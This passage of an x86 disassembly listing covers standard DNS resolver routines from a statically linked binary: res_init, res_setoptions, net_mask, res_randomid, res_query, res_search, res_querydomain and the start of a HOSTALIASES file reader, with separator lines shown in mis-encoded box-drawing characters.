		lea	ebx, [ebp+var_3F8]
		cmp	[ebp+var_41C], 9
		jg	loc_804D8E0
		mov	ecx, [ebp+var_41C]
		lea	edi, ds:0[ecx*8]
		jmp	short loc_804DBF5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DBF4:				; CODE XREF: res_init+4B4j
					; res_init+4B9j
		inc	ebx

loc_804DBF5:				; CODE XREF: res_init+4ACj
					; res_init+5F9j
		cmp	byte ptr [ebx],	20h
		jz	short loc_804DBF4
		cmp	byte ptr [ebx],	9
		jz	short loc_804DBF4
		cmp	byte ptr [ebx],	0
		jz	loc_804D8E0
		cmp	byte ptr [ebx],	0Ah
		jz	loc_804D8E0
		cmp	byte ptr [ebx],	3Bh
		jz	loc_804D8E0
		mov	[ebp+var_420], ebx
		cmp	byte ptr [ebx],	0
		jz	short loc_804DC5C
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804DC28:				; CODE XREF: res_init+516j
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset asc_8067BFE ; "/&"
		call	strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_804DC5C
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_804DC5C
		cmp	byte ptr [ebx],	0
		jl	short loc_804DC5C
		movzx	edx, byte ptr [ebx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jnz	short loc_804DC5C
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_804DC28

loc_804DC5C:				; CODE XREF: res_init+4DFj
					; res_init+4F7j ...
		movzx	esi, byte ptr [ebx]
		mov	byte ptr [ebx],	0
		lea	eax, [ebp+var_408]
		push	eax
		mov	ecx, [ebp+var_420]
		push	ecx
		call	inet_aton
		add	esp, 8
		test	eax, eax
		jz	loc_804DD32
		mov	eax, [ebp+var_408]
		mov	dword ptr unk_80786AC[edi], eax
		push	esi
		push	offset asc_8067BFE ; "/&"
		call	strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_804DD14
		mov	ecx, esi
		mov	al, cl
		mov	[ebx], al
		inc	ebx
		mov	[ebp+var_420], ebx
		cmp	byte ptr [ebx],	0
		jz	short loc_804DCE6
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_804DCE6
		cmp	byte ptr [ebx],	0
		jl	short loc_804DCE6
		movzx	eax, byte ptr [ebx]
		mov	edx, dword_8078FA0
		test	byte ptr [edx+eax*2+1],	20h
		jnz	short loc_804DCE6
		lea	esi, [esi]

loc_804DCCC:				; CODE XREF: res_init+5A0j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jz	short loc_804DCE6
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_804DCE6
		cmp	byte ptr [ebx],	0
		jl	short loc_804DCE6
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804DCCC

loc_804DCE6:				; CODE XREF: res_init+56Aj
					; res_init+56Fj ...
		movzx	esi, byte ptr [ebx]
		mov	byte ptr [ebx],	0
		lea	eax, [ebp+var_408]
		push	eax
		mov	ecx, [ebp+var_420]
		push	ecx
		call	inet_aton
		add	esp, 8
		test	eax, eax
		jz	short loc_804DD14
		mov	eax, [ebp+var_408]
		mov	dword ptr unk_80786B0[edi], eax
		jmp	short loc_804DD29
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DD14:				; CODE XREF: res_init+558j
					; res_init+5C0j
		mov	eax, dword ptr unk_80786AC[edi]
		push	eax
		call	net_mask
		mov	dword ptr unk_80786B0[edi], eax
		add	esp, 4

loc_804DD29:				; CODE XREF: res_init+5CEj
		add	edi, 8
		inc	[ebp+var_41C]

loc_804DD32:				; CODE XREF: res_init+536j
		mov	ecx, esi
		mov	[ebx], cl
		cmp	[ebp+var_41C], 9
		jle	loc_804DBF5
		jmp	loc_804D8E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DD48:				; CODE XREF: res_init+470j
					; res_init+486j
		push	7
		push	offset aOptions	; "options"
		mov	ecx, [ebp+var_424]
		push	ecx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_804D8E0
		cmp	[ebp+var_3F9], 20h
		jz	short loc_804DD7C
		cmp	[ebp+var_3F9], 9
		jnz	loc_804D8E0

loc_804DD7C:				; CODE XREF: res_init+629j
		push	offset aConf	; "conf"
		lea	eax, [ebp+var_3F9]
		push	eax
		call	res_setoptions
		add	esp, 8
		jmp	loc_804D8E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DD98:				; CODE XREF: res_init+1B9j
		cmp	[ebp+var_410], 1
		jle	short loc_804DDAD
		mov	ecx, [ebp+var_410]
		mov	dword_8078550, ecx

loc_804DDAD:				; CODE XREF: res_init+65Bj
		mov	al, byte ptr [ebp+var_41C]
		shl	al, 4
		and	byte_80786A8, 0Fh
		or	byte_80786A8, al
		mov	ecx, [ebp+var_40C]
		push	ecx
		call	fclose
		add	esp, 4

loc_804DDD2:				; CODE XREF: res_init+18Aj
		cmp	byte_80785A4, 0
		jnz	short loc_804DE15
		push	0FFh
		lea	ebx, [ebp+var_400]
		push	ebx
		call	gethostname
		add	esp, 8
		test	eax, eax
		jnz	short loc_804DE15
		push	2Eh
		push	ebx
		call	strchr
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804DE15
		lea	eax, [ebx+1]
		push	eax
		push	offset byte_80785A4
		call	strcpy
		add	esp, 8

loc_804DE15:				; CODE XREF: res_init+695j
					; res_init+6ADj ...
		cmp	[ebp+var_418], 0
		jnz	short loc_804DE32
		mov	dword_8078588, offset byte_80785A4
		mov	dword_807858C, 0

loc_804DE32:				; CODE XREF: res_init+6D8j
		push	offset aRes_options ; "RES_OPTIONS"
		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_804DE50
		push	offset aEnv	; "env"
		push	ebx
		call	res_setoptions

loc_804DE50:				; CODE XREF: res_init+6FFj
		or	byte ptr dword_807854C,	1
		xor	eax, eax
		lea	esp, [ebp+var_430]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
res_init	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

res_setoptions	proc near		; CODE XREF: res_init+644p
					; res_init+707p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, edi
		test	byte ptr dword_807854C,	2
		jz	loc_804DF60
		push	esi
		push	ebx
		push	offset aRes_setoptions ; ";; res_setoptions(\"%s\", \"%s\")...\n"
		call	printf
		add	esp, 0Ch
		jmp	loc_804DF60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804DE98:				; CODE XREF: res_setoptions+34j
					; res_setoptions+39j
		inc	ebx

loc_804DE99:				; CODE XREF: res_setoptions+FBj
		cmp	byte ptr [ebx],	20h
		jz	short loc_804DE98
		cmp	byte ptr [ebx],	9
		jz	short loc_804DE98
		push	6
		push	offset aNdots	; "ndots:"
		push	ebx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804DF0C
		lea	eax, [ebx+6]
		push	0
		push	0Ah
		push	0
		push	eax
		call	sub_8056064
		add	esp, 10h
		cmp	eax, 0Fh
		jg	short loc_804DEE0
		and	al, 0Fh
		and	byte_80786A8, 0F0h
		or	byte_80786A8, al
		jmp	short loc_804DEE7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804DEE0:				; CODE XREF: res_setoptions+64j
		or	byte_80786A8, 0Fh

loc_804DEE7:				; CODE XREF: res_setoptions+75j
		test	byte ptr dword_807854C,	2
		jz	short loc_804DF56
		mov	al, byte_80786A8
		and	eax, 0Fh
		push	eax
		push	offset aNdotsD	; ";;\tndots=%d\n"
		call	printf
		add	esp, 8
		jmp	short loc_804DF56
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DF0C:				; CODE XREF: res_setoptions+4Dj
		push	5
		push	offset aDebug	; "debug"
		push	ebx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804DF56
		test	byte ptr dword_807854C,	2
		jnz	short loc_804DF3F
		push	esi
		push	edi
		push	offset aRes_setoptio_0 ; ";; res_setoptions(\"%s\", \"%s\")..\n"
		call	printf
		or	byte ptr dword_807854C,	2
		add	esp, 0Ch

loc_804DF3F:				; CODE XREF: res_setoptions+BFj
		push	offset aDebug_0	; ";;\tdebug\n"
		call	printf
		add	esp, 4
		jmp	short loc_804DF56
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DF50:				; CODE XREF: res_setoptions+F6j
		cmp	byte ptr [ebx],	9
		jz	short loc_804DF60
		inc	ebx

loc_804DF56:				; CODE XREF: res_setoptions+86j
					; res_setoptions+9Fj ...
		cmp	byte ptr [ebx],	0
		jz	short loc_804DF69
		cmp	byte ptr [ebx],	20h
		jnz	short loc_804DF50

loc_804DF60:				; CODE XREF: res_setoptions+15j
					; res_setoptions+2Aj ...
		cmp	byte ptr [ebx],	0
		jnz	loc_804DE99

loc_804DF69:				; CODE XREF: res_setoptions+F1j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
res_setoptions	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

net_mask	proc near		; CODE XREF: res_init+5D7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		test	eax, eax
		jl	short loc_804DF90
		mov	eax, 0FFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DF90:				; CODE XREF: net_mask+Fj
		and	eax, 0C0000000h
		cmp	eax, 80000000h
		jz	short loc_804DFA8
		mov	eax, 0FFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804DFA8:				; CODE XREF: net_mask+26j
		mov	eax, 0FFFFh
		mov	esp, ebp
		pop	ebp
		retn
net_mask	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

res_randomid	proc near		; CODE XREF: res_init+77p

var_8		= word ptr -8
var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		call	gettimeofday
		call	getpid
		mov	edx, eax
		mov	ax, [ebp+var_8]
		xor	ax, [ebp+var_4]
		xor	ax, dx
		and	eax, 0FFFFh
		mov	esp, ebp
		pop	ebp
		retn
res_randomid	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804DFE0	proc near		; CODE XREF: gethostbyaddr+CAp
					; res_search+A7p ...

var_40C		= byte ptr -40Ch
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		and	byte ptr [esi+3], 0F0h
		test	byte ptr dword_807854C,	1
		jnz	short loc_804E020
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_804E020
		mov	ds:dword_807E788, 0FFFFFFFFh

loc_804E016:				; CODE XREF: sub_804DFE0+15Aj
					; sub_804DFE0+16Aj ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_804E172
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E020:				; CODE XREF: sub_804DFE0+20j
					; sub_804DFE0+2Aj
		test	byte ptr dword_807854C,	2
		jz	short loc_804E03C
		push	ebx
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset aRes_querySDD ; ";; res_query(%s, %d, %d)\n"
		call	printf
		add	esp, 10h

loc_804E03C:				; CODE XREF: sub_804DFE0+47j
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	0
		push	0
		push	0
		push	ebx
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		call	sub_80608C8
		mov	ebx, eax
		add	esp, 24h
		test	ebx, ebx
		jg	short loc_804E088
		test	byte ptr dword_807854C,	2
		jz	short loc_804E077
		push	offset aRes_queryMkque ; ";; res_query:	mkquery	failed\n"
		call	printf

loc_804E077:				; CODE XREF: sub_804DFE0+8Bj
		mov	ds:dword_807E788, 3
		jmp	loc_804E170
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E088:				; CODE XREF: sub_804DFE0+82j
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		push	ebx
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_804EA0C
		mov	ebx, eax
		add	esp, 10h
		test	ebx, ebx
		jge	short loc_804E0C8
		test	byte ptr dword_807854C,	2
		jz	short loc_804E0B9
		push	offset aRes_querySendE ; ";; res_query:	send error\n"
		call	printf

loc_804E0B9:				; CODE XREF: sub_804DFE0+CDj
		mov	ds:dword_807E788, 2
		jmp	loc_804E170
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E0C8:				; CODE XREF: sub_804DFE0+C4j
		test	byte ptr [esi+3], 0Fh
		jnz	short loc_804E0DD
		mov	ax, [esi+6]
		xchg	al, ah
		test	ax, ax
		jnz	loc_804E170

loc_804E0DD:				; CODE XREF: sub_804DFE0+ECj
		test	byte ptr dword_807854C,	2
		jz	short loc_804E103
		mov	ax, [esi+6]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		mov	al, [esi+3]
		and	eax, 0Fh
		push	eax
		push	offset aRcodeDAncountD ; ";; rcode = %d, ancount=%d\n"
		call	printf

loc_804E103:				; CODE XREF: sub_804DFE0+104j
		mov	al, [esi+3]
		and	eax, 0Fh
		cmp	eax, 5		; switch 6 cases 
		ja	short loc_804E160 ; default
		jmp	ds:off_804E118[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
off_804E118	dd offset loc_804E150, offset loc_804E160, offset loc_804E140
					; DATA XREF: sub_804DFE0+12Er
		dd offset loc_804E130, 2 dup(offset loc_804E160) ; jump	table for switch statement
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E130:				; CODE XREF: sub_804DFE0+12Ej
					; DATA XREF: sub_804DFE0+138o
		mov	ds:dword_807E788, 1 ; case 0x3
		jmp	loc_804E016
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E140:				; CODE XREF: sub_804DFE0+12Ej
					; DATA XREF: sub_804DFE0+138o
		mov	ds:dword_807E788, 2 ; case 0x2
		jmp	loc_804E016
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E150:				; CODE XREF: sub_804DFE0+12Ej
					; DATA XREF: sub_804DFE0+138o
		mov	ds:dword_807E788, 4 ; case 0x0
		jmp	loc_804E016
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E160:				; CODE XREF: sub_804DFE0+12Cj
					; sub_804DFE0+12Ej
					; DATA XREF: ...
		mov	ds:dword_807E788, 3 ; default
		jmp	loc_804E016
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E170:				; CODE XREF: sub_804DFE0+A1j
					; sub_804DFE0+E3j ...
		mov	eax, ebx

loc_804E172:				; CODE XREF: sub_804DFE0+3Bj
		lea	esp, [ebp+var_40C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804DFE0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

res_search	proc near		; CODE XREF: gethostbyname+144p

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_4], edx
		mov	[ebp+var_C], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_14], 0
		test	byte ptr dword_807854C,	1
		jnz	short loc_804E1CC
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_804E1CC
		mov	ds:dword_807E788, 0FFFFFFFFh
		jmp	loc_804E388
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E1CC:				; CODE XREF: res_search+2Ej
					; res_search+38j
		mov	__errno, 0
		mov	ds:dword_807E788, 1
		xor	ebx, ebx
		mov	eax, edi
		cmp	byte ptr [edi],	0
		jz	short loc_804E1F8
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804E1EC:				; CODE XREF: res_search+76j
		cmp	byte ptr [eax],	2Eh
		jnz	short loc_804E1F2
		inc	ebx

loc_804E1F2:				; CODE XREF: res_search+6Fj
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_804E1EC

loc_804E1F8:				; CODE XREF: res_search+67j
		xor	esi, esi
		cmp	eax, edi
		jbe	short loc_804E205
		cmp	byte ptr [eax-1], 2Eh
		jnz	short loc_804E205
		inc	esi

loc_804E205:				; CODE XREF: res_search+7Cj
					; res_search+82j
		test	ebx, ebx
		jnz	short loc_804E234
		push	edi
		call	sub_804E490
		add	esp, 4
		test	eax, eax
		jz	short loc_804E234
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	eax
		call	sub_804DFE0
		jmp	loc_804E38D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E234:				; CODE XREF: res_search+87j
					; res_search+94j
		mov	[ebp+var_8], 0FFFFFFFFh
		mov	al, byte_80786A8
		and	eax, 0Fh
		cmp	ebx, eax
		jb	short loc_804E277
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		push	edi
		call	sub_804E398
		add	esp, 18h
		test	eax, eax
		jg	loc_804E38D
		mov	edx, ds:dword_807E788
		mov	[ebp+var_8], edx
		inc	[ebp+var_14]

loc_804E277:				; CODE XREF: res_search+C6j
		test	ebx, ebx
		jnz	short loc_804E28C
		cmp	byte ptr dword_807854C,	0
		jl	short loc_804E2A1
		jmp	loc_804E32F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E28C:				; CODE XREF: res_search+F9j
		test	esi, esi
		jnz	loc_804E32F
		test	byte ptr dword_807854C+1, 2
		jz	loc_804E32F

loc_804E2A1:				; CODE XREF: res_search+102j
		xor	ebx, ebx
		mov	esi, offset dword_8078588
		cmp	dword_8078588, 0
		jz	short loc_804E32F
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804E2B4:				; CODE XREF: res_search+1ADj
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [esi]
		push	eax
		push	edi
		call	sub_804E398
		add	esp, 18h
		test	eax, eax
		jg	loc_804E38D
		cmp	__errno, 6Fh
		jz	loc_804E37E
		mov	eax, ds:dword_807E788
		cmp	eax, 2
		jz	short loc_804E304
		jg	short loc_804E2F8
		cmp	eax, 1
		jz	short loc_804E319
		jmp	short loc_804E318
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E2F8:				; CODE XREF: res_search+16Fj
		cmp	eax, 4
		jnz	short loc_804E318
		inc	[ebp+var_C]
		jmp	short loc_804E319
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E304:				; CODE XREF: res_search+16Dj
		mov	edx, [ebp+var_4]
		mov	al, [edx+3]
		and	al, 0Fh
		cmp	al, 2
		jnz	short loc_804E318
		inc	[ebp+var_10]
		jmp	short loc_804E319
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E318:				; CODE XREF: res_search+176j
					; res_search+17Bj ...
		inc	ebx

loc_804E319:				; CODE XREF: res_search+174j
					; res_search+180j ...
		test	byte ptr dword_807854C+1, 2
		jnz	short loc_804E323
		inc	ebx

loc_804E323:				; CODE XREF: res_search+1A0j
		add	esi, 4
		cmp	dword ptr [esi], 0
		jz	short loc_804E32F
		test	ebx, ebx
		jz	short loc_804E2B4

loc_804E32F:				; CODE XREF: res_search+104j
					; res_search+10Ej ...
		cmp	[ebp+var_14], 0
		jnz	short loc_804E351
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		push	edi
		call	sub_804E398
		test	eax, eax
		jg	short loc_804E38D

loc_804E351:				; CODE XREF: res_search+1B3j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_804E364
		mov	edx, [ebp+var_8]
		mov	ds:dword_807E788, edx
		jmp	short loc_804E388
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E364:				; CODE XREF: res_search+1D5j
		cmp	[ebp+var_C], 0
		jz	short loc_804E378
		mov	ds:dword_807E788, 4
		jmp	short loc_804E388
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E378:				; CODE XREF: res_search+1E8j
		cmp	[ebp+var_10], 0
		jz	short loc_804E388

loc_804E37E:				; CODE XREF: res_search+15Fj
		mov	ds:dword_807E788, 2

loc_804E388:				; CODE XREF: res_search+44j
					; res_search+1E0j ...
		mov	eax, 0FFFFFFFFh

loc_804E38D:				; CODE XREF: res_search+ACj
					; res_search+E5j ...
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
res_search	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E398	proc near		; CODE XREF: res_search+DBp
					; res_search+148p ...

var_210		= byte ptr -210h
var_204		= byte ptr -204h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		lea	esi, [ebp+var_204]
		test	byte ptr dword_807854C,	1
		jnz	short loc_804E3D8
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_804E3D8
		mov	ds:dword_807E788, 0FFFFFFFFh
		mov	eax, 0FFFFFFFFh
		jmp	loc_804E482
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E3D8:				; CODE XREF: sub_804E398+1Fj
					; sub_804E398+29j
		test	byte ptr dword_807854C,	2
		jz	short loc_804E403
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, edi
		test	edi, edi
		jnz	short loc_804E3F4
		mov	eax, offset aNil ; "<Nil>"

loc_804E3F4:				; CODE XREF: sub_804E398+55j
		push	eax
		push	ebx
		push	offset aRes_querydomai ; ";; res_querydomain(%s, %s, %d, %d)\n"
		call	printf
		add	esp, 14h

loc_804E403:				; CODE XREF: sub_804E398+47j
		test	edi, edi
		jnz	short loc_804E44C
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	edi, [eax-2]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_804E448
		cmp	byte ptr [edi+ebx], 2Eh
		jnz	short loc_804E448
		cmp	edi, 200h
		ja	short loc_804E448
		push	edi
		lea	eax, [ebp+var_204]
		push	eax
		push	ebx
		call	bcopy
		mov	byte ptr [edi+ebp-204h], 0
		add	esp, 0Ch
		jmp	short loc_804E46C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E448:				; CODE XREF: sub_804E398+85j
					; sub_804E398+8Bj ...
		mov	esi, ebx
		jmp	short loc_804E46C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E44C:				; CODE XREF: sub_804E398+6Dj
		push	edi
		push	100h
		push	ebx
		push	100h
		push	offset a_S__S	; "%.*s.%.*s"
		lea	eax, [ebp+var_204]
		push	eax
		call	sprintf
		add	esp, 18h

loc_804E46C:				; CODE XREF: sub_804E398+AEj
					; sub_804E398+B2j
		mov	edx, [ebp+arg_14]
		push	edx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		push	esi
		call	sub_804DFE0

loc_804E482:				; CODE XREF: sub_804E398+3Aj
		lea	esp, [ebp+var_210]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E398	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E490	proc near		; CODE XREF: res_search+8Ap

var_410		= byte ptr -410h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	edi
		push	esi
		push	ebx
		test	byte ptr dword_807854C+1, 10h
		jnz	loc_804E626
		push	offset aHostaliases ; "HOSTALIASES"
		call	secure_getenv
		add	esp, 4
		test	eax, eax
		jz	loc_804E626
		push	offset aR_1	; "r"
		push	eax
		call	fopen
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	loc_804E626
